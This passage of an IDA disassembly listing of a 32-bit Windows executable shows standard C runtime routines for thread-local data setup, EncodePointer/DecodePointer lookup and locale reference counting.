		jmp	short loc_404FAD
; ---------------------------------------------------------------------------

loc_404FFB:				; CODE XREF: sub_404E6E+5Ej
		cmp	dword_427804, esi
		jnz	loc_404E97
		or	eax, 0FFFFFFFFh

loc_40500A:				; CODE XREF: sub_404E6E+32j
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_402AD0
		leave
		retn
sub_404E6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405019	proc near		; CODE XREF: sub_4051B3+Bp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 00405185 SIZE 0000002E BYTES

		push	14h
		push	offset dword_421760
		call	__SEH_prolog4
		or	[ebp+var_20], 0FFFFFFFFh
		call	sub_40574D
		mov	edi, eax
		mov	[ebp+var_24], edi
		call	sub_404D50
		mov	ebx, [edi+68h]
		mov	esi, [ebp+arg_0]
		call	sub_404DF4
		mov	[ebp+arg_0], eax
		cmp	eax, [ebx+4]
		jz	loc_4051A6
		push	220h
		call	sub_407AEA
		pop	ecx
		mov	ebx, eax
		test	ebx, ebx
		jz	loc_4051AA
		mov	ecx, 88h
		mov	esi, [edi+68h]
		mov	edi, ebx
		rep movsd
		and	dword ptr [ebx], 0
		push	ebx
		push	[ebp+arg_0]
		call	sub_404E6E
		pop	ecx
		pop	ecx
		mov	[ebp+var_20], eax
		test	eax, eax
		jnz	loc_405185
		mov	esi, [ebp+var_24]
		push	dword ptr [esi+68h]
		call	ds:dword_41D18C	; InterlockedDecrement
		test	eax, eax
		jnz	short loc_4050AA
		mov	eax, [esi+68h]
		cmp	eax, offset dword_423070
		jz	short loc_4050AA
		push	eax
		call	sub_4039C3
		pop	ecx

loc_4050AA:				; CODE XREF: sub_405019+7Ej
					; sub_405019+88j
		mov	[esi+68h], ebx
		push	ebx
		mov	edi, ds:dword_41D1B8
		call	edi	; InterlockedIncrement
		test	byte ptr [esi+70h], 2
		jnz	loc_4051AA
		test	byte ptr dword_423594, 1
		jnz	loc_4051AA
		push	0Dh
		call	sub_405DA7
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		mov	eax, [ebx+4]
		mov	dword_427814, eax
		mov	eax, [ebx+8]
		mov	dword_427818, eax
		mov	eax, [ebx+0Ch]
		mov	dword_42781C, eax
		xor	eax, eax

loc_4050F3:				; CODE XREF: sub_405019+F0j
		mov	[ebp+var_1C], eax
		cmp	eax, 5
		jge	short loc_40510B
		mov	cx, [ebx+eax*2+10h]
		mov	word_427808[eax*2], cx
		inc	eax
		jmp	short loc_4050F3
; ---------------------------------------------------------------------------

loc_40510B:				; CODE XREF: sub_405019+E0j
		xor	eax, eax

loc_40510D:				; CODE XREF: sub_405019+109j
		mov	[ebp+var_1C], eax
		cmp	eax, 101h
		jge	short loc_405124
		mov	cl, [eax+ebx+1Ch]
		mov	byte_423290[eax], cl
		inc	eax
		jmp	short loc_40510D
; ---------------------------------------------------------------------------

loc_405124:				; CODE XREF: sub_405019+FCj
		xor	eax, eax

loc_405126:				; CODE XREF: sub_405019+125j
		mov	[ebp+var_1C], eax
		cmp	eax, 100h
		jge	short loc_405140
		mov	cl, [eax+ebx+11Dh]
		mov	byte_423398[eax], cl
		inc	eax
		jmp	short loc_405126
; ---------------------------------------------------------------------------

loc_405140:				; CODE XREF: sub_405019+115j
		push	dword_423498
		call	ds:dword_41D18C	; InterlockedDecrement
		test	eax, eax
		jnz	short loc_405163
		mov	eax, dword_423498
		cmp	eax, offset dword_423070
		jz	short loc_405163
		push	eax
		call	sub_4039C3
		pop	ecx

loc_405163:				; CODE XREF: sub_405019+135j
					; sub_405019+141j
		mov	dword_423498, ebx
		push	ebx
		call	edi	; InterlockedIncrement
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_40517A
		jmp	short loc_4051AA
sub_405019	endp


; =============== S U B	R O U T	I N E =======================================



sub_40517A	proc near		; CODE XREF: sub_405019+15Ap
					; DATA XREF: c.7ld2ih:00421778o
		push	0Dh
		call	sub_405CCF
		pop	ecx
		retn
sub_40517A	endp

; ---------------------------------------------------------------------------
		jmp	short loc_4051AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405019

loc_405185:				; CODE XREF: sub_405019+6Aj
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4051AA
		cmp	ebx, offset dword_423070
		jz	short loc_405199
		push	ebx
		call	sub_4039C3
		pop	ecx

loc_405199:				; CODE XREF: sub_405019+177j
		call	sub_405B83
		mov	dword ptr [eax], 16h
		jmp	short loc_4051AA
; ---------------------------------------------------------------------------

loc_4051A6:				; CODE XREF: sub_405019+30j
		and	[ebp+var_20], 0

loc_4051AA:				; CODE XREF: sub_405019+45j
					; sub_405019+A1j ...
		mov	eax, [ebp+var_20]
		call	__SEH_epilog4
		retn
; END OF FUNCTION CHUNK	FOR sub_405019

; =============== S U B	R O U T	I N E =======================================



sub_4051B3	proc near		; CODE XREF: sub_40AF33+Cp
					; sub_40AF90+Dp ...
		cmp	dword_436834, 0
		jnz	short loc_4051CE
		push	0FFFFFFFDh
		call	sub_405019
		pop	ecx
		mov	dword_436834, 1

loc_4051CE:				; CODE XREF: sub_4051B3+7j
		xor	eax, eax
		retn
sub_4051B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_4051D1	proc near		; CODE XREF: sub_405423+31p
					; sub_405765+E8p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		mov	eax, [esi+0BCh]
		xor	ebp, ebp
		cmp	eax, ebp
		push	edi
		jz	short loc_405254
		cmp	eax, offset off_423F38
		jz	short loc_405254
		mov	eax, [esi+0B0h]
		cmp	eax, ebp
		jz	short loc_405254
		cmp	[eax], ebp
		jnz	short loc_405254
		mov	eax, [esi+0B8h]
		cmp	eax, ebp
		jz	short loc_40521B
		cmp	[eax], ebp
		jnz	short loc_40521B
		push	eax
		call	sub_4039C3
		push	dword ptr [esi+0BCh]
		call	sub_40CAB4
		pop	ecx
		pop	ecx

loc_40521B:				; CODE XREF: sub_4051D1+31j
					; sub_4051D1+35j
		mov	eax, [esi+0B4h]
		cmp	eax, ebp
		jz	short loc_40523C
		cmp	[eax], ebp
		jnz	short loc_40523C
		push	eax
		call	sub_4039C3
		push	dword ptr [esi+0BCh]
		call	sub_40CA74
		pop	ecx
		pop	ecx

loc_40523C:				; CODE XREF: sub_4051D1+52j
					; sub_4051D1+56j
		push	dword ptr [esi+0B0h]
		call	sub_4039C3
		push	dword ptr [esi+0BCh]
		call	sub_4039C3
		pop	ecx
		pop	ecx

loc_405254:				; CODE XREF: sub_4051D1+12j
					; sub_4051D1+19j ...
		mov	eax, [esi+0C0h]
		cmp	eax, ebp
		jz	short loc_4052A2
		cmp	[eax], ebp
		jnz	short loc_4052A2
		mov	eax, [esi+0C4h]
		sub	eax, 0FEh
		push	eax
		call	sub_4039C3
		mov	eax, [esi+0CCh]
		mov	edi, 80h
		sub	eax, edi
		push	eax
		call	sub_4039C3
		mov	eax, [esi+0D0h]
		sub	eax, edi
		push	eax
		call	sub_4039C3
		push	dword ptr [esi+0C0h]
		call	sub_4039C3
		add	esp, 10h

loc_4052A2:				; CODE XREF: sub_4051D1+8Bj
					; sub_4051D1+8Fj
		lea	edi, [esi+0D4h]
		mov	eax, [edi]
		cmp	eax, offset off_423E78
		jz	short loc_4052C8
		cmp	[eax+0B4h], ebp
		jnz	short loc_4052C8
		push	eax
		call	sub_40C8E4
		push	dword ptr [edi]
		call	sub_4039C3
		pop	ecx
		pop	ecx

loc_4052C8:				; CODE XREF: sub_4051D1+DEj
					; sub_4051D1+E6j
		push	6
		lea	edi, [esi+50h]
		pop	ebx

loc_4052CE:				; CODE XREF: sub_4051D1+132j
		cmp	dword ptr [edi-8], offset dword_423598
		jz	short loc_4052E8
		mov	eax, [edi]
		cmp	eax, ebp
		jz	short loc_4052E8
		cmp	[eax], ebp
		jnz	short loc_4052E8
		push	eax
		call	sub_4039C3
		pop	ecx

loc_4052E8:				; CODE XREF: sub_4051D1+104j
					; sub_4051D1+10Aj ...
		cmp	[edi-4], ebp
		jz	short loc_4052FF
		mov	eax, [edi+4]
		cmp	eax, ebp
		jz	short loc_4052FF
		cmp	[eax], ebp
		jnz	short loc_4052FF
		push	eax
		call	sub_4039C3
		pop	ecx

loc_4052FF:				; CODE XREF: sub_4051D1+11Aj
					; sub_4051D1+121j ...
		add	edi, 10h
		dec	ebx
		jnz	short loc_4052CE
		push	esi
		call	sub_4039C3
		pop	ecx
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4051D1	endp


; =============== S U B	R O U T	I N E =======================================



sub_405311	proc near		; CODE XREF: sub_405423+12p
					; sub_405616+93p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		push	edi
		mov	edi, ds:dword_41D1B8
		push	esi
		call	edi	; InterlockedIncrement
		mov	eax, [esi+0B0h]
		test	eax, eax
		jz	short loc_40532F
		push	eax
		call	edi	; InterlockedIncrement

loc_40532F:				; CODE XREF: sub_405311+19j
		mov	eax, [esi+0B8h]
		test	eax, eax
		jz	short loc_40533C
		push	eax
		call	edi	; InterlockedIncrement

loc_40533C:				; CODE XREF: sub_405311+26j
		mov	eax, [esi+0B4h]
		test	eax, eax
		jz	short loc_405349
		push	eax
		call	edi	; InterlockedIncrement

loc_405349:				; CODE XREF: sub_405311+33j
		mov	eax, [esi+0C0h]
		test	eax, eax
		jz	short loc_405356
		push	eax
		call	edi	; InterlockedIncrement

loc_405356:				; CODE XREF: sub_405311+40j
		push	6
		lea	ebx, [esi+50h]
		pop	ebp

loc_40535C:				; CODE XREF: sub_405311+71j
		cmp	dword ptr [ebx-8], offset dword_423598
		jz	short loc_40536E
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_40536E
		push	eax
		call	edi	; InterlockedIncrement

loc_40536E:				; CODE XREF: sub_405311+52j
					; sub_405311+58j
		cmp	dword ptr [ebx-4], 0
		jz	short loc_40537E
		mov	eax, [ebx+4]
		test	eax, eax
		jz	short loc_40537E
		push	eax
		call	edi	; InterlockedIncrement

loc_40537E:				; CODE XREF: sub_405311+61j
					; sub_405311+68j
		add	ebx, 10h
		dec	ebp
		jnz	short loc_40535C
		mov	eax, [esi+0D4h]
		add	eax, 0B4h
		push	eax
		call	edi	; InterlockedIncrement
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_405311	endp


; =============== S U B	R O U T	I N E =======================================



sub_405397	proc near		; CODE XREF: sub_405423+1Dp
					; sub_405765+CCp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_40541F
		push	ebx
		push	ebp
		push	edi
		mov	edi, ds:dword_41D18C
		push	esi
		call	edi	; InterlockedDecrement
		mov	eax, [esi+0B0h]
		test	eax, eax
		jz	short loc_4053B9
		push	eax
		call	edi	; InterlockedDecrement

loc_4053B9:				; CODE XREF: sub_405397+1Dj
		mov	eax, [esi+0B8h]
		test	eax, eax
		jz	short loc_4053C6
		push	eax
		call	edi	; InterlockedDecrement

loc_4053C6:				; CODE XREF: sub_405397+2Aj
		mov	eax, [esi+0B4h]
		test	eax, eax
		jz	short loc_4053D3
		push	eax
		call	edi	; InterlockedDecrement

loc_4053D3:				; CODE XREF: sub_405397+37j
		mov	eax, [esi+0C0h]
		test	eax, eax
		jz	short loc_4053E0
		push	eax
		call	edi	; InterlockedDecrement

loc_4053E0:				; CODE XREF: sub_405397+44j
		push	6
		lea	ebx, [esi+50h]
		pop	ebp

loc_4053E6:				; CODE XREF: sub_405397+75j
		cmp	dword ptr [ebx-8], offset dword_423598
		jz	short loc_4053F8
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_4053F8
		push	eax
		call	edi	; InterlockedDecrement

loc_4053F8:				; CODE XREF: sub_405397+56j
					; sub_405397+5Cj
		cmp	dword ptr [ebx-4], 0
		jz	short loc_405408
		mov	eax, [ebx+4]
		test	eax, eax
		jz	short loc_405408
		push	eax
		call	edi	; InterlockedDecrement

loc_405408:				; CODE XREF: sub_405397+65j
					; sub_405397+6Cj
		add	ebx, 10h
		dec	ebp
		jnz	short loc_4053E6
		mov	eax, [esi+0D4h]
		add	eax, 0B4h
		push	eax
		call	edi	; InterlockedDecrement
		pop	edi
		pop	ebp
		pop	ebx

loc_40541F:				; CODE XREF: sub_405397+7j
		mov	eax, esi
		pop	esi
		retn
sub_405397	endp


; =============== S U B	R O U T	I N E =======================================



sub_405423	proc near		; CODE XREF: sub_405461+54p
		test	edi, edi
		jz	short loc_40545E
		test	eax, eax
		jz	short loc_40545E
		push	esi
		mov	esi, [eax]
		cmp	esi, edi
		jz	short loc_40545A
		push	edi
		mov	[eax], edi
		call	sub_405311
		test	esi, esi
		pop	ecx
		jz	short loc_40545A
		push	esi
		call	sub_405397
		cmp	dword ptr [esi], 0
		pop	ecx
		jnz	short loc_40545A
		cmp	esi, offset dword_4235A0
		jz	short loc_40545A
		push	esi
		call	sub_4051D1
		pop	ecx

loc_40545A:				; CODE XREF: sub_405423+Dj
					; sub_405423+1Aj ...
		mov	eax, edi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40545E:				; CODE XREF: sub_405423+2j
					; sub_405423+6j
		xor	eax, eax
		retn
sub_405423	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405461	proc near		; CODE XREF: sub_402ADF+37p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	0Ch
		push	offset dword_421780
		call	__SEH_prolog4
		call	sub_40574D
		mov	esi, eax
		mov	eax, dword_423594
		test	[esi+70h], eax
		jz	short loc_4054A0
		cmp	dword ptr [esi+6Ch], 0
		jz	short loc_4054A0
		call	sub_40574D
		mov	esi, [eax+6Ch]

loc_40548C:				; CODE XREF: sub_405461+68j
		test	esi, esi
		jnz	short loc_405498
		push	20h
		call	sub_407C0D
		pop	ecx

loc_405498:				; CODE XREF: sub_405461+2Dj
		mov	eax, esi
		call	__SEH_epilog4
		retn
; ---------------------------------------------------------------------------

loc_4054A0:				; CODE XREF: sub_405461+1Bj
					; sub_405461+21j
		push	0Ch
		call	sub_405DA7
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		lea	eax, [esi+6Ch]
		mov	edi, off_423678
		call	sub_405423
		mov	[ebp+var_1C], eax
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_4054CB
		jmp	short loc_40548C
sub_405461	endp


; =============== S U B	R O U T	I N E =======================================



sub_4054CB	proc near		; CODE XREF: sub_405461+63p
		push	0Ch
		call	sub_405CCF
		pop	ecx
		mov	esi, [ebp-1Ch]
		retn
sub_4054CB	endp


; =============== S U B	R O U T	I N E =======================================



sub_4054D7	proc near		; CODE XREF: sub_4030C9+81p
					; sub_4030C9+96p ...

arg_0		= dword	ptr  4

		push	esi
		push	dword_42368C
		mov	esi, ds:dword_41D180
		call	esi	; TlsGetValue
		test	eax, eax
		jz	short loc_40550B
		mov	eax, dword_423688
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40550B
		push	eax
		push	dword_42368C
		call	esi	; TlsGetValue
		call	eax
		test	eax, eax
		jz	short loc_40550B
		mov	eax, [eax+1F8h]
		jmp	short loc_405526
; ---------------------------------------------------------------------------

loc_40550B:				; CODE XREF: sub_4054D7+11j
					; sub_4054D7+1Bj ...
		push	offset aKernel32_dll ; "KERNEL32.DLL"
		call	ds:dword_41D0E0	; GetModuleHandleA
		test	eax, eax
		jz	short loc_405534
		push	offset aEncodepointer ;	"EncodePointer"
		push	eax
		call	ds:off_41D0E8

loc_405526:				; CODE XREF: sub_4054D7+32j
		test	eax, eax
		jz	short loc_405534
		push	[esp+4+arg_0]
		call	eax
		mov	[esp+4+arg_0], eax

loc_405534:				; CODE XREF: sub_4054D7+41j
					; sub_4054D7+51j
		mov	eax, [esp+4+arg_0]
		pop	esi
		retn
sub_4054D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_40553A	proc near		; CODE XREF: sub_407EC9+1p
					; sub_40BCC4+2Fp ...
		push	0
		call	sub_4054D7
		pop	ecx
		retn
sub_40553A	endp


; =============== S U B	R O U T	I N E =======================================



sub_405543	proc near		; CODE XREF: sub_4030C9+Bp
					; sub_4030C9+1Cp ...

arg_0		= dword	ptr  4

		push	esi
		push	dword_42368C
		mov	esi, ds:dword_41D180
		call	esi	; TlsGetValue
		test	eax, eax
		jz	short loc_405577
		mov	eax, dword_423688
		cmp	eax, 0FFFFFFFFh
		jz	short loc_405577
		push	eax
		push	dword_42368C
		call	esi	; TlsGetValue
		call	eax
		test	eax, eax
		jz	short loc_405577
		mov	eax, [eax+1FCh]
		jmp	short loc_405592
; ---------------------------------------------------------------------------

loc_405577:				; CODE XREF: sub_405543+11j
					; sub_405543+1Bj ...
		push	offset aKernel32_dll ; "KERNEL32.DLL"
		call	ds:dword_41D0E0	; GetModuleHandleA
		test	eax, eax
		jz	short loc_4055A0
		push	offset aDecodepointer ;	"DecodePointer"
		push	eax
		call	ds:off_41D0E8

loc_405592:				; CODE XREF: sub_405543+32j
		test	eax, eax
		jz	short loc_4055A0
		push	[esp+4+arg_0]
		call	eax
		mov	[esp+4+arg_0], eax

loc_4055A0:				; CODE XREF: sub_405543+41j
					; sub_405543+51j
		mov	eax, [esp+4+arg_0]
		pop	esi
		retn
sub_405543	endp


; =============== S U B	R O U T	I N E =======================================



sub_4055A6	proc near		; DATA XREF: sub_405886+8Ao
					; .data:off_427844o
		call	ds:dword_41D17C	; TlsAlloc
		retn	4
sub_4055A6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4055AF	proc near		; CODE XREF: sub_4056CA+Ap
		push	dword_42368C
		call	ds:dword_41D180	; TlsGetValue
		test	eax, eax
		jnz	short locret_4055D8
		push	off_427848
		call	sub_405543
		pop	ecx
		push	eax
		push	dword_42368C
		call	ds:dword_41D178	; TlsSetValue

locret_4055D8:				; CODE XREF: sub_4055AF+Ej
		retn
sub_4055AF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4055D9	proc near		; CODE XREF: sub_405886+12p
					; sub_405886:loc_405A00p
		mov	eax, dword_423688
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4055F9
		push	eax
		push	off_427850
		call	sub_405543
		pop	ecx
		call	eax
		or	dword_423688, 0FFFFFFFFh

loc_4055F9:				; CODE XREF: sub_4055D9+8j
		mov	eax, dword_42368C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_405611
		push	eax
		call	ds:off_41D174
		or	dword_42368C, 0FFFFFFFFh

loc_405611:				; CODE XREF: sub_4055D9+28j
		jmp	sub_405C7A
sub_4055D9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405616	proc near		; CODE XREF: sub_4056CA+59p
					; sub_405886+162p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	0Ch
		push	offset dword_4217A0
		call	__SEH_prolog4
		push	offset aKernel32_dll ; "KERNEL32.DLL"
		call	ds:dword_41D0E0	; GetModuleHandleA
		mov	[ebp+var_1C], eax
		mov	esi, [ebp+arg_0]
		mov	dword ptr [esi+5Ch], offset dword_423DC0
		xor	edi, edi
		inc	edi
		mov	[esi+14h], edi
		test	eax, eax
		jz	short loc_405668
		push	offset aEncodepointer ;	"EncodePointer"
		push	eax
		mov	ebx, ds:off_41D0E8
		call	ebx ; sub_443AC1
		mov	[esi+1F8h], eax
		push	offset aDecodepointer ;	"DecodePointer"
		push	[ebp+var_1C]
		call	ebx ; sub_443AC1
		mov	[esi+1FCh], eax

loc_405668:				; CODE XREF: sub_405616+2Cj
		mov	[esi+70h], edi
		mov	byte ptr [esi+0C8h], 43h
		mov	byte ptr [esi+14Bh], 43h
		mov	eax, offset dword_423070
		mov	[esi+68h], eax
		push	eax
		call	ds:dword_41D1B8	; InterlockedIncrement
		push	0Ch
		call	sub_405DA7
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		mov	eax, [ebp+arg_4]
		mov	[esi+6Ch], eax
		test	eax, eax
		jnz	short loc_4056A6
		mov	eax, off_423678
		mov	[esi+6Ch], eax

loc_4056A6:				; CODE XREF: sub_405616+86j
		push	dword ptr [esi+6Ch]
		call	sub_405311
		pop	ecx
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_4056C1
		call	__SEH_epilog4
		retn
sub_405616	endp


; =============== S U B	R O U T	I N E =======================================



sub_4056C1	proc near		; CODE XREF: sub_405616+A0p
					; DATA XREF: c.7ld2ih:004217B8o
		push	0Ch
		call	sub_405CCF
		pop	ecx
		retn
sub_4056C1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4056CA	proc near		; CODE XREF: sub_40574D+1p sub_405B83p ...
		push	esi
		push	edi
		call	ds:dword_41D0EC	; RtlGetLastWin32Error
		mov	edi, eax
		call	sub_4055AF
		push	dword_423688
		push	dword_42368C
		call	ds:dword_41D180	; TlsGetValue
		call	eax
		mov	esi, eax
		test	esi, esi
		jnz	short loc_405741
		push	214h
		push	1
		call	sub_407B2A
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	short loc_405741
		push	esi
		push	dword_423688
		push	off_42784C
		call	sub_405543
		pop	ecx
		call	eax
		test	eax, eax
		jz	short loc_405738
		push	0
		push	esi
		call	sub_405616
		pop	ecx
		pop	ecx
		call	ds:dword_41D0DC	; GetCurrentThreadId
		or	dword ptr [esi+4], 0FFFFFFFFh
		mov	[esi], eax
		jmp	short loc_405741
; ---------------------------------------------------------------------------

loc_405738:				; CODE XREF: sub_4056CA+54j
		push	esi
		call	sub_4039C3
		pop	ecx
		xor	esi, esi

loc_405741:				; CODE XREF: sub_4056CA+27j
					; sub_4056CA+3Bj ...
		push	edi
		call	ds:dword_41D170	; RtlRestoreLastWin32Error
		pop	edi
		mov	eax, esi
		pop	esi
		retn
sub_4056CA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40574D	proc near		; CODE XREF: sub_402ADF+Fp sub_403716p ...
		push	esi
		call	sub_4056CA
		mov	esi, eax
		test	esi, esi
		jnz	short loc_405761
		push	10h
		call	sub_407C0D
		pop	ecx

loc_405761:				; CODE XREF: sub_40574D+Aj
		mov	eax, esi
		pop	esi
		retn
sub_40574D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405765	proc near		; DATA XREF: sub_405886+115o

ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	8
		push	offset dword_4217C0
		call	__SEH_prolog4
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	loc_405866
		mov	eax, [esi+24h]
		test	eax, eax
		jz	short loc_40578A
		push	eax
		call	sub_4039C3
		pop	ecx

loc_40578A:				; CODE XREF: sub_405765+1Cj
		mov	eax, [esi+2Ch]
		test	eax, eax
		jz	short loc_405798
		push	eax
		call	sub_4039C3
		pop	ecx

loc_405798:				; CODE XREF: sub_405765+2Aj
		mov	eax, [esi+34h]
		test	eax, eax
		jz	short loc_4057A6
		push	eax
		call	sub_4039C3
		pop	ecx

loc_4057A6:				; CODE XREF: sub_405765+38j
		mov	eax, [esi+3Ch]
		test	eax, eax
		jz	short loc_4057B4
		push	eax
		call	sub_4039C3
		pop	ecx

loc_4057B4:				; CODE XREF: sub_405765+46j
		mov	eax, [esi+44h]
		test	eax, eax
		jz	short loc_4057C2
		push	eax
		call	sub_4039C3
		pop	ecx

loc_4057C2:				; CODE XREF: sub_405765+54j
		mov	eax, [esi+48h]
		test	eax, eax
		jz	short loc_4057D0
		push	eax
		call	sub_4039C3
		pop	ecx

loc_4057D0:				; CODE XREF: sub_405765+62j
		mov	eax, [esi+5Ch]
		cmp	eax, offset dword_423DC0
		jz	short loc_4057E1
		push	eax
		call	sub_4039C3
		pop	ecx

loc_4057E1:				; CODE XREF: sub_405765+73j
		push	0Dh
		call	sub_405DA7
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		mov	edi, [esi+68h]
		test	edi, edi
		jz	short loc_40580E
		push	edi
		call	ds:dword_41D18C	; InterlockedDecrement
		test	eax, eax
		jnz	short loc_40580E
		cmp	edi, offset dword_423070
		jz	short loc_40580E
		push	edi
		call	sub_4039C3
		pop	ecx

loc_40580E:				; CODE XREF: sub_405765+8Dj
					; sub_405765+98j ...
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_405871
		push	0Ch
		call	sub_405DA7
		pop	ecx
		mov	[ebp+ms_exc.disabled], 1
		mov	edi, [esi+6Ch]
		test	edi, edi
		jz	short loc_405853
		push	edi
		call	sub_405397
		pop	ecx
		cmp	edi, off_423678
		jz	short loc_405853
		cmp	edi, offset dword_4235A0
		jz	short loc_405853
		cmp	dword ptr [edi], 0
		jnz	short loc_405853
		push	edi
		call	sub_4051D1
		pop	ecx

loc_405853:				; CODE XREF: sub_405765+C9j
					; sub_405765+D8j ...
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_40587D
		push	esi
		call	sub_4039C3
		pop	ecx

loc_405866:				; CODE XREF: sub_405765+11j
		call	__SEH_epilog4
		retn	4
sub_405765	endp


; =============== S U B	R O U T	I N E =======================================



sub_40586E	proc near		; DATA XREF: c.7ld2ih:004217D8o
		mov	esi, [ebp+8]
sub_40586E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_405871	proc near		; CODE XREF: sub_405765+B0p
		push	0Dh
		call	sub_405CCF
		pop	ecx
		retn
sub_405871	endp


; =============== S U B	R O U T	I N E =======================================



sub_40587A	proc near		; DATA XREF: c.7ld2ih:004217E4o
		mov	esi, [ebp+8]
sub_40587A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40587D	proc near		; CODE XREF: sub_405765+F5p
		push	0Ch
		call	sub_405CCF
		pop	ecx
		retn
sub_40587D	endp


; =============== S U B	R O U T	I N E =======================================



sub_405886	proc near		; CODE XREF: .text:loc_4043D5p
		push	edi
		push	offset aKernel32_dll ; "KERNEL32.DLL"
		call	ds:dword_41D0E0	; GetModuleHandleA
		mov	edi, eax
		test	edi, edi
		jnz	short loc_4058A1
		call	sub_4055D9
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_4058A1:				; CODE XREF: sub_405886+10j
		push	esi
		mov	esi, ds:off_41D0E8
		push	offset dword_41D4E4
		push	edi
		call	esi ; sub_443AC1
		push	offset aFlsgetvalue ; "FlsGetValue"
		push	edi
		mov	off_427844, eax
		call	esi ; sub_443AC1
		push	offset aFlssetvalue ; "FlsSetValue"
		push	edi
		mov	off_427848, eax
		call	esi ; sub_443AC1
		push	offset aFlsfree	; "FlsFree"
		push	edi
		mov	off_42784C, eax
		call	esi ; sub_443AC1
		cmp	off_427844, 0
		mov	esi, ds:dword_41D178
		mov	off_427850, eax
		jz	short loc_405901
		cmp	off_427848, 0
		jz	short loc_405901
		cmp	off_42784C, 0
		jz	short loc_405901
		test	eax, eax
		jnz	short loc_405925

loc_405901:				; CODE XREF: sub_405886+63j
					; sub_405886+6Cj ...
		mov	eax, ds:dword_41D180
		mov	off_427848, eax
		mov	eax, ds:off_41D174
		mov	off_427844, offset sub_4055A6
		mov	off_42784C, esi
		mov	off_427850, eax

loc_405925:				; CODE XREF: sub_405886+79j
		call	ds:dword_41D17C	; TlsAlloc
		cmp	eax, 0FFFFFFFFh
		mov	dword_42368C, eax
		jz	loc_405A05
		push	off_427848
		push	eax
		call	esi	; TlsSetValue
		test	eax, eax
		jz	loc_405A05
		call	sub_407EC9
		push	off_427844
		call	sub_4054D7
		push	off_427848
		mov	off_427844, eax
		call	sub_4054D7
		push	off_42784C
		mov	off_427848, eax
		call	sub_4054D7
		push	off_427850
		mov	off_42784C, eax
		call	sub_4054D7
		add	esp, 10h
		mov	off_427850, eax
		call	sub_405C31
		test	eax, eax
		jz	short loc_405A00
		push	offset sub_405765
		push	off_427844
		call	sub_405543
		pop	ecx
		call	eax	; TlsGetValue
		cmp	eax, 0FFFFFFFFh
		mov	dword_423688, eax
		jz	short loc_405A00
		push	214h
		push	1
		call	sub_407B2A
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	short loc_405A00
		push	esi
		push	dword_423688
		push	off_42784C
		call	sub_405543
		pop	ecx
		call	eax	; TlsGetValue
		test	eax, eax
		jz	short loc_405A00
		push	0
		push	esi
		call	sub_405616
		pop	ecx
		pop	ecx
		call	ds:dword_41D0DC	; GetCurrentThreadId
		or	dword ptr [esi+4], 0FFFFFFFFh
		mov	[esi], eax
		xor	eax, eax
		inc	eax
		jmp	short loc_405A07
; ---------------------------------------------------------------------------

loc_405A00:				; CODE XREF: sub_405886+113j
					; sub_405886+130j ...
		call	sub_4055D9

loc_405A05:				; CODE XREF: sub_405886+ADj
					; sub_405886+BEj
		xor	eax, eax

loc_405A07:				; CODE XREF: sub_405886+178j
		pop	esi
		pop	edi
		retn
sub_405886	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405A0A	proc near		; CODE XREF: sub_402B96+9Bp
					; sub_402B96+ADp ...

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
